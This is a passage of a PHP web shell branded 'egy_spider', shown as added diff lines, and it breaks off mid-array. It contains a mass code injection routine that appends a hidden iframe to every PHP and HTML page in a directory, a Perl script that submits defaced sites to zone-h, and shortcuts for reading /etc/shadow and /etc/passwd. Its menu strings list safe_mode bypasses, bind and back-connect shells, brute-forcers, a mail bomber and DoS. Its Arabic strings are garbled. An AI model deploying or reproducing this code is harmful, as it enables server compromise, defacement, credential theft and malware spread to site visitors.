".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"egy_spider v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>If you want to send a request for any help I know I will respond to you in case <br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: Arbic, English.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} + +if ($act == 'massbrowsersploit') { +?> +<b>Mass Code Injection:</b><br><br> +Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified.<br><br> +<form action="<?php echo $surl; ?>" method=GET> +<input type=hidden name="masssploit" value="goahead"> +<input type=hidden name="act" value="massbrowsersploit"> +<table border=0> +<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr> +<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<IFRAME src="http://www.egyspider.eu" width=0 height=0 frameborder=0></IFRAME>'); ?></textarea> <-- best bet would be to include an invisible iframe of browser exploits</td></tr> +<tr><td><input type=submit value="Inject Code"></td></tr> +</table> +</form> +<?php +if ($_GET['masssploit'] == 'goahead') { + if (is_dir($_GET['pathtomass'])) { + $lolinject = $_GET['injectthis']; + foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) { + $fp=fopen($injectj00,"a+"); + if (fputs($fp,$lolinject)){ + echo $injectj00.' was injected<br>'; + } else { + echo '<font color=red>failed to inject '.$injectj00.'</font>'; + } + } + foreach (glob($_GET['pathtomass']."/*.htm") as $injectj00) { + $fp=fopen($injectj00,"a+"); + if (fputs($fp,$lolinject)){ + echo $injectj00.' was injected<br>'; + } else { + echo '<font color=red>failed to inject '.$injectj00.'</font>'; + } + } + foreach (glob($_GET['pathtomass']."/*.html") as $injectj00) { + $fp=fopen($injectj00,"a+"); + if (fputs($fp,$lolinject)){ + echo $injectj00.' was injected<br>'; + } else { + echo '<font color=red>failed to inject '.$injectj00.'</font>'; + } + } + } else { //end if inputted dir is real -- if not, show an ugly red error + echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>'; + } // end if inputted dir is real, for real this time +} // end if confirmation to mass sploit is go +} // end if massbrowsersploit is called + + + +if ($dlink=='showsrc'){ +print "<p><b>: Choose a php file to view in a color mode, any extension else will appears as usual :";print "<form method=get>"; +input ("text","tools&dlink=showsrc","",35);print " "; +input ("hidden","scdir",$scdir,22);input ("submit","tools&dlink=showsrc","Show-src","");print $ef; die();}if(isset($_REQUEST['tools&dlink=showsrc'])){callshsrc(trim($_REQUEST['showsc']));} +if (isset($_REQUEST['indx'])&&!empty($_REQUEST['indxtxt'])) +{if (touch ($_REQUEST['indx'])==true){ +$fp=fopen($_REQUEST['indx'],"w+");fwrite ($fp,stripslashes($_REQUEST['indxtxt'])); +fclose($fp);print "<p>[ $sfnt".$_REQUEST['indx']."$efnt created successfully !! ]</p>";print "<b><center>[ <a href='javascript:history.back()'>Edit again</a> +] -- [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>]</center></b>";die(); }else {print "<p>[ Sorry, Can't create the index !! ]</p>";die();}} +if ($dlink=='qindx'&&!isset($_REQUEST['qindsub'])){ +print $sf."<br>";print "<p><textarea cols=50 rows=10 name=indxtxt> +Your index contents here</textarea></p>"; +input ("text","indx","Index-name",35);print " "; +input ("submit","qindsub","Create","");print $ef;die();} +if (isset ($_REQUEST['mailsub'])&&!empty($_REQUEST['mailto'])){ +$mailto=$_REQUEST['mailto'];$subj=$_REQUEST['subj'];$mailtxt=$_REQUEST['mailtxt']; +if (mail($mailto,$subj,$mailtxt)){print "<p>[ Mail sended to $sfnt".$mailto." $efnt successfully ]</p>"; die();}else {print "<p>[ Error, Can't send the mail ]</p>";die();}} elseif(isset ($mailsub)&&empty($mailto)) {print "<p>[ Error, Can't send the mail ]</p>";die();} +if ($dlink=='mail'&&!isset($_REQUEST['mailsub'])){ +print $sf."<br>";print "<p><textarea cols=50 rows=10 name=mailtxt> +Your message here</textarea></p>";input ("text","mailto","example@mail.com",35);print " ";input ("text","subj","Title-here",20);print " "; +input ("submit","mailsub","Send-mail","");print $ef;die();} +if (isset($_REQUEST['zonet'])&&!empty($_REQUEST['zonet'])){callzone($nscdir);} +function callzone($nscdir){ +if (is_writable($nscdir)){$fpz=fopen ("z.pl","w");$zpl='z.pl';$li="bklist.txt";} +else {$fpz=fopen ("/tmp/z.pl","w");$zpl='/tmp/z.pl';$li="/tmp/bklist.txt";} +fwrite ($fpz,"\$arq = @ARGV[0]; +\$grupo = @ARGV[1]; +chomp \$grupo; +open(a,\"<\$arq\"); +@site = <a>; +close(a); +\$b = scalar(@site); +for(\$a=0;\$a<=\$b;\$a++) +{chomp \$site[\$a]; +if(\$site[\$a] =~ /http/) { substr(\$site[\$a], 0, 7) =\"\"; } +print \"[+] Sending \$site[\$a]\n\"; +use IO::Socket::INET; +\$sock = IO::Socket::INET->new(PeerAddr => \"old.zone-h.org\", PeerPort => 80, Proto => \"tcp\") or next; +print \$sock \"POST /en/defacements/notify HTTP/1.0\r\n\"; +print \$sock \"Accept: */*\r\n\"; +print \$sock \"Referer: http://old.zone-h.org/en/defacements/notify\r\n\"; +print \$sock \"Accept-Language: pt-br\r\n\"; +print \$sock \"Content-Type: application/x-www-form-urlencoded\r\n\"; +print \$sock \"Connection: Keep-Alive\r\n\"; +print \$sock \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n\"; +print \$sock \"Host: old.zone-h.org\r\n\"; +print \$sock \"Content-Length: 385\r\n\"; +print \$sock \"Pragma: no-cache\r\n\"; +print \$sock \"\r\n\"; +print \$sock \"notify_defacer=\$grupo&notify_domain=http%3A%2F%2F\$site[\$a]&notify_hackmode=22&notify_reason=5&notify=+OK+\r\n\"; +close(\$sock);}"); +if (touch ($li)==true){$fpl=fopen($li,"w+");fwrite ($fpl,$_REQUEST['zonetxt']); +}else{print "<p>[ Can't complete the operation, try change the current dir with writable one ]<br>";}$zonet=$_REQUEST['zonet']; +if (!function_exists(exec)&&!function_exists(shell_exec)&&!function_exists(popen)&&!function_exists(system)&&!function_exists(passthru)) +{print "[ Can't complete the operation !! ]";} +else {callfuncs("chmod 777 $zpl;chmod 777 $li"); +ob_start();callfuncs("perl $zpl $li $zonet");ob_clean(); +print "<p>[ All sites should be sended to zone-h.org successfully !! ]";die();} +}if ($dlink=='zone'&&!isset($_REQUEST['zonesub'])){ +print $sf."<br>";print "<p><pre><textarea cols=50 rows=10 name=zonetxt> +www.site1.com +www.site2.com +</textarea></pre></p>";input ("text","zonet","Hacker-name",35);print " "; +input ("submit","zonesub","Send","");print $ef;die();} +print "</div></b></center>"; print"</td></tr>";print"</table>";print "<br>"; +function inisaf($iniv) { $chkini=ini_get($iniv); +if(($chkini || strtolower($chkini)) !=='on'){print"<font color=olive><b>OFF ( Not secured )</b></font>";} else{ +print"<font color=red><b>ON ( Secured )</b></font>";}}function inifunc($inif){$chkin=ini_get($inif); +if ($chkin==""){print " <font color=red><b>None</b></font>";} +else {$nchkin=wordwrap($chkin,40,"\n", 1);print "<b><font color=olive>".$nchkin."</font></b>";}}function callocmd($ocmd,$owhich){if(function_exists(exec)){$nval=exec($ocmd);}elseif(!function_exists(exec)){$nval=shell_exec($ocmd);} +elseif(!function_exists(shell_exec)){$opop=popen($ocmd,'r'); +while (!feof($opop)){ $nval= fgetc($opop);}} +elseif(!function_exists(popen)){ ob_start();system($ocmd);$nval=ob_get_contents();ob_clean();}elseif(!function_exists(system)){ +ob_start();passthru($ocmd);$nval=ob_get_contents();ob_clean();} +if($nval=$owhich){print"<font color=red><b>ON</b></font>";} +else{print"<font color=olive><b>OFF</b></font>";} } +print"<table bgcolor=#191919 style=\"border:2px #dadada solid ;font-size:13px;font-family:tahoma \" width=100% height=%>"; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); } + + + if(isset($_GET['egy'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>EgY SpIdEr</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b><div align="center"> + <font face="tahoma" size="-2"><b> + <p align="center">&nbsp;</p> + <p align="center"> + <font style="FONT-WEIGHT: 500; FONT-SIZE: 100pt" face="Webdings" color="#800000"> +<IFRAME WIDTH=100% HEIGHT=671 SRC="http://egyspider.eu/ahmed/about.htm"></IFRAME></font></p> + <p align="center">&nbsp;</p> + <div id="n" align="center"> + &nbsp;</div> + <p>&nbsp;</font></b></div> +</b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } + if(isset($_GET['news'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>EgY SpIdEr</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b><div align="center"> + <font face="tahoma" size="-2"><b> + <p align="center">&nbsp;</p> + <p align="center"> + <font style="FONT-WEIGHT: 500; FONT-SIZE: 100pt" face="Webdings" color="#800000"> +<IFRAME WIDTH=100% HEIGHT=671 SRC="http://egyspider.eu/ahmed/news.htm"></IFRAME></font></p> + <p align="center">&nbsp;</p> + <div id="n" align="center"> + &nbsp;</div> + <p>&nbsp;</font></b></div> +</b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } + + +if(isset($_GET['5'])) + {$_POST['cmd'] = 'systeminfo';} +if(isset($_GET['6'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';} +if(isset($_GET['7'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';} +if(isset($_GET['8'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';} +if(isset($_GET['9'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';} +if(isset($_GET['10'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';} +if(isset($_GET['13'])) + {$_POST['cmd']='cat /proc/cpuinfo';} +if(isset($_GET['14'])) + {$_POST['cmd']='cat /proc/version';} +if(isset($_GET['15'])) + {$_POST['cmd'] = 'free';} +if(isset($_GET['16'])) + {$_POST['cmd'] = 'dmesg(8)';} +if(isset($_GET['17'])) + {$_POST['cmd'] = 'vmstat';} +if(isset($_GET['18'])) + {$_POST['cmd'] = 'lspci';} +if(isset($_GET['19'])) + {$_POST['cmd'] = 'lsdev';} +if(isset($_GET['20'])) + {$_POST['cmd']='cat /proc/interrupts';} +if(isset($_GET['21'])) + {$_POST['cmd'] = 'cat /etc/*realise';} +if(isset($_GET['22'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';} +if(isset($_GET['23'])) + {$_POST['cmd'] = 'lsattr -va';} +if(isset($_GET['24'])) + {$_POST['cmd'] = 'w';} +if(isset($_GET['25'])) + {$_POST['cmd'] = 'who';} +if(isset($_GET['26'])) + {$_POST['cmd'] = 'uptime';} +if(isset($_GET['27'])) + {$_POST['cmd'] = 'last -n 10';} +if(isset($_GET['28'])) + {$_POST['cmd'] = 'ps -aux';} +if(isset($_GET['29'])) + {$_POST['cmd'] = 'service --status-all';} +if(isset($_GET['30'])) + {$_POST['cmd'] = 'ifconfig';} +if(isset($_GET['31'])) + {$_POST['cmd'] = 'netstat -a';} +if(isset($_GET['32'])) + {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';} +if(isset($_GET['33'])) + {$_POST['cmd'] = 'fdisk -l';} +if(isset($_GET['34'])) + {$_POST['cmd'] = 'df -h';} + +#if(isset($_GET[''])) +# {$_POST['cmd'] = '';} + +$lang=array( +'ar_text1' =>'?', +'ar_text2' =>'?? ?, +'ar_text3' =>'??, +'ar_text4' =>' ??, +'ar_text5' =>'????, +'ar_text6' =>' ', +'ar_text7' =>'??, +'ar_text8' =>' ?, +'ar_butt1' =>'?, +'ar_butt2' =>'', +'ar_text9' =>'? ??/bin/bash', +'ar_text10'=>'?, +'ar_text11'=>' ', +'ar_butt3' =>'?, +'ar_text12'=>' ?, +'ar_text13'=>' ', +'ar_text14'=>'', +'ar_butt4' =>'', +'ar_text15'=>'????, +'ar_text16'=>' ', +'ar_text17'=>' ?, +'ar_text18'=>' ?, +'ar_text19'=>'Exploits', +'ar_text20'=>'', +'ar_text21'=>'?', +'ar_text22'=>'?', +'ar_text23'=>' ', +'ar_text24'=>'?', +'ar_text25'=>' ', +'ar_text26'=>'', +'ar_butt5' =>'?, +'ar_text28'=>'? ??, +'ar_text29'=>'?', +'ar_butt6' =>'', +'ar_text30'=>'??, +'ar_butt7' =>'?, +'ar_text31'=>'???, +'ar_text32'=>'??php eval', +'ar_text33'=>'Test bypass open_basedir with cURL functions', +'ar_butt8' =>'', +'ar_text34'=>'?? include', +'ar_text35'=>'?? Mysql', +'ar_text36'=>'?. ', +'ar_text37'=>'?', +'ar_text38'=>' ', +'ar_text39'=>'?, +'ar_text40'=>' ??, +'ar_butt9' =>'', +'ar_text41'=>'? ', +'ar_text42'=>'??, +'ar_text43'=>'? ', +'ar_butt10'=>'?, +'ar_text44'=>' ?????', +'ar_text45'=>' ?, +'ar_text46'=>'?phpinfo()', +'ar_text47'=>' ? php.ini', +'ar_text48'=>'???temp', +'ar_butt11'=>'??, +'ar_text49'=>'?? ?, +'ar_text50'=>'???', +'ar_text51'=>'???, +'ar_text52'=>'?', +'ar_text53'=>' ', +'ar_text54'=>'? ?, +'ar_butt12'=>'?, +'ar_text55'=>'? ?, +'ar_text56'=>' :(', +'ar_text57'=>'???', +'ar_text58'=>'?, +'ar_text59'=>'?, +'ar_text60'=>'', +'ar_butt13'=>'?/?, +'ar_text61'=>' ??, +'ar_text62'=>' ?', +'ar_text63'=>' ??, +'ar_text64'=>' ?', +'ar_butt65'=>'?, +'ar_text66'=>'?, +'ar_text67'=>'?/', +'ar_text68'=>'?, +'ar_text69'=>'??, +'ar_text70'=>'?, +'ar_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'ar_text72'=>' ', +'ar_text73'=>'? ', +'ar_text74'=>'? ?, +'ar_text75'=>'* you can use regexp', +'ar_text76'=>'? ? find', +'ar_text80'=>'?, +'ar_text81'=>'?, +'ar_text82'=>'?', +'ar_text83'=>'???, +'ar_text84'=>'??, +'ar_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'ar_text86'=>'?? ?, +'ar_butt14'=>'?, +'ar_text87'=>'?? ', +'ar_text88'=>'? :', +'ar_text89'=>'? ', +'ar_text90'=>'??, +'ar_text91'=>'?, +'ar_text92'=>' ??, +'ar_text93'=>' ', +'ar_text94'=>'? ', +'ar_text95'=>'?', +'ar_text96'=>' ???', +'ar_text97'=>' ? ', +'ar_text98'=>' ? ', +'ar_text99'=>'* ? ?/etc/passwd ??ftp', +'ar_text100'=>'??? ', +'ar_text101'=>' ? ', +'ar_text102'=>'?', +'ar_text103'=>'?', +'ar_text104'=>'????, +'ar_text105'=>'?, +'ar_text106'=>'?, +'ar_text107'=>'?, +'ar_butt15'=>'?, +'ar_text108'=>'?, +'ar_text109'=>'', +'ar_text110'=>'?, +'ar_text111'=>'?? : ', +'ar_text112'=>'?? mb_send_mail', +'ar_text113'=>'?? via imap_list', +'ar_text114'=>'?? via imap_body', +'ar_text115'=>'?? compress.zlib://', +'ar_text116'=>'?', +'ar_text117'=>'?, +'ar_text118'=>' ??, +'ar_text119'=>' ?, +'ar_err0'=>' ! ????', +'ar_err1'=>' ! ? ????', +'ar_err2'=>'! ?', +'ar_err3'=>'! ? ??? ', +'ar_err4'=>' ! ?? ', +'ar_err5'=>' ! ', +'ar_err6'=>' ! ??, +'ar_err7'=>' ', +'ar_text200'=>'copy()?? ', +'ar_text202'=>' ? ', +'ar_text300'=>'curl()?? ', +'ar_text203'=>'ini_restore()?? ', +'ar_text204'=>'error_log()?? ', +'ar_text205'=>' ??', +'ar_text206'=>'??', +'ar_text207'=>'?? reg_glob', +'ar_text208'=>'?? ?? ', +'ar_text209'=>'?? root', +'ar_text210'=>' ??', +'ar_text211'=>'::???:', +'ar_text212'=>'php.ini ??? ??, +'ar_text213'=>'htacces ??? ??, +'ar_text214'=>'?', +'ar_text215'=>'??IRC ', +'ar_text216'=>'# ? ', +'ar_text217'=>'???, +'ar_text218'=>' ??ini_restore ????', +'ar_text219'=>'?????? ?, +'ar_text220'=>'?? symlink ', +'ar_text221'=>'?? (?? ? ? )1', +'ar_text222'=>'?? symlink ?, +'ar_text223'=>'?? ', +'ar_text224'=>'PLUGIN ?? ', +'ar_text143'=>'? ', +'ar_text65'=>'?, + + +'ar_text33'=>' ???open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', +'ar_text34'=>'?? include function', +'ar_text35'=>'?? load file in mysql', +'ar_text85'=>'?? commands execute via MSSQL server', +'ar_text112'=>'?? function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)', +'ar_text113'=>' ???safe_mode, view dir list via imap_list() (PHP <= 5.1.2)', +'ar_text114'=>' ???safe_mode, view file contest via imap_body() (PHP <= 5.1.2)', +'ar_text115'=>' ???safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)', +'ar_text116'=>'Copy from', +'ar_text117'=>'to', +'ar_text118'=>'File copied', +'ar_text119'=>'Cant copy file', +'ar_text120'=>' ???safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', +'ar_text121'=>' ???open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', +'ar_text122'=>' ???open_basedir, view dir list via glob() (PHP <= 5.2.x)', +'ar_text123'=>' ???open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', +'ar_text124'=>' ???open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)', +'ar_text126'=>' ???open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', +'ar_text127'=>' ???open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)', +'ar_text128'=>'Modify/Access file (touch)', +'ar_text129'=>' ???open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', +'ar_text130'=>' ???open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', +'ar_text131'=>' ???open_basedir, view file contest via symlink() (PHP <= 5.2.1)', +'ar_text132'=>' ???open_basedir, view dir list via symlink() (PHP <= 5.2.1)', +'ar_text133'=>' ???open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', +'ar_err3'=>'Error! Can\'t connect to ftp', +'ar_err4'=>'Error! Can\'t login on ftp server', +'ar_err5'=>'Error! Can\'t change dir on ftp', +'ar_err6'=>'Error! Can\'t sent mail', +'ar_err7'=>'Mail send', +'ar_text1' =>'Executed command', +'ar_text2' =>'Execute command on server', +'ar_text33'=>' ???open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', +'ar_text34'=>'?? include function', +'ar_text35'=>'?? load file in mysql', +'ar_text112'=>'?? function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)', +'ar_text113'=>' ???safe_mode, view dir list via imap_list() (PHP <= 5.1.2)', +'ar_text114'=>' ???safe_mode, view file contest via imap_body() (PHP <= 5.1.2)', +'ar_text115'=>' ???safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)', +'ar_text120'=>' ???safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', +'ar_text121'=>' ???open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', +'ar_text122'=>' ???open_basedir, view dir list via glob() (PHP <= 5.2.x)', +'ar_text123'=>' ???open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', +'ar_text124'=>' ???open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)', +'ar_text126'=>' ???open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', +'ar_text127'=>' ???open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)', +'ar_text128'=>'Modify/Access file (touch)', +'ar_text129'=>' ???open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', +'ar_text130'=>' ???open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', +'ar_text131'=>' ???open_basedir, view file contest via symlink() (PHP <= 5.2.1)', +'ar_text132'=>' ???open_basedir, view dir list via symlink() (PHP <= 5.2.1)', +'ar_text133'=>' ???open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', +'ar_text142'=>'Downloaders', +'ar_text137'=>'Useful', +'ar_text128'=>'Modify/Access file (touch)', +'ar_text129'=>' ???open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', +'ar_text130'=>' ???open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', +'ar_text131'=>' ???open_basedir, view file contest via symlink() (PHP <= 5.2.1)', +'ar_text132'=>' ???open_basedir, view dir list via symlink() (PHP <= 5.2.1)', +'ar_text133'=>' ???open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', +'ar_text134'=>'Database-bruteforce', +'ar_text135'=>'Dictionary', +'ar_text136'=>'Creating evil symlink', +'ar_text137'=>'Useful', +'ar_text138'=>'Dangerous', +'ar_text139'=>'Mail Bomber', +'ar_text140'=>'DoS', +'ar_text141'=>'Danger! Web-daemon crash possible.', +'ar_text142'=>'Downloaders', +'ar_text143'=>'Temp: ', +'ar_text144'=>'?? load file in mysqli', +'ar_text145'=>' ???open_basedir, view dir list via realpath() (PHP <= 5.2.4)', +'ar_text146'=>'Max Interation', +'ar_text147'=>'', +'ar_text148'=>'', +'ar_text149'=>'', +'ar_text150'=>'', +'ar_err0'=>'Error! Can\'t write in file ', +'ar_err1'=>'Error! Can\'t read file ', +'ar_err2'=>'Error! Can\'t create ', +'ar_err3'=>'Error! Can\'t connect to ftp', +'ar_err4'=>'Error! Can\'t login on ftp server', +'ar_err5'=>'Error! Can\'t change dir on ftp', +'ar_err6'=>'Error! Can\'t sent mail', +'ar_err7'=>'Mail send', +'ar_text125'=>'Data', +'ar_text225'=>'??? ? ?4.4.7 / 5.2.3 PHP ', +'ar_text226'=>' ???Root Directory: ', +'ar_text227'=>'??? ??4.4.2/5.1.2', +'ar_text228'=>'???? ', +'ar_text230'=>'?? ? ? ?', +'ar_text151'=>' ??? chdir()and ftok() (PHP <= 5.2.6)', +'ar_text161'=>' ??? posix_access() (posix ext) (PHP <= 5.2.6)', +'ar_text147'=>'', +'ar_text148'=>'', +'ar_text149'=>'', +'ar_text150'=>'', +'ar_text159'=>'? egy spider', +'ar_text152'=>'??, +'ar_text153'=>' ', +'ar_text154'=>'???', +'ar_text155'=>'??', +'ar_text156'=>'??', +'ar_text157'=>'? ??', +'ar_text158'=>'?? ', +'ar_text160'=>'? ', +'ar_text162'=>'? ??? ionCube (PHP <= 5.2.4)', +'ar_text163'=>'? ??', +'ar_text170'=>' ???? Posix_getpw(PHP <= 4.2.0)', +'ar_text171'=>' PHP (Win32std) Extension ??? (PHP <= 5.2.3)', +'ar_text180'=>' ? ', +/* --------------------------------------------------------------- */ +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_butt3' =>'Bind', +'eng_butt4' =>'Connect', +'eng_butt5' =>'Run', +'eng_butt6' =>'Change', +'eng_butt7' =>'Show', +'eng_butt8' =>'Test', +'eng_butt9' =>'Dump', +'eng_butt10'=>'Save', +'eng_butt11'=>'Edit file', +'eng_butt12'=>'Find', +'eng_butt13'=>'Create/Delete', +'eng_butt14'=>'Download', +'eng_butt15'=>'Send', +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_text30'=>'Cat file', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database . Table', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Database', +'eng_text40'=>'Dump database table', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without arch.', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'/etc/passwd', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu)', +'eng_text102'=>'Mail', +'eng_text103'=>'Send email', +'eng_text104'=>'Send file to email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +'eng_text111'=>'SQL-Server : Port', +'eng_text112'=>'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)', +'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list() (PHP <= 5.1.2)', +'eng_text114'=>'Test bypass safe_mode, view file contest via 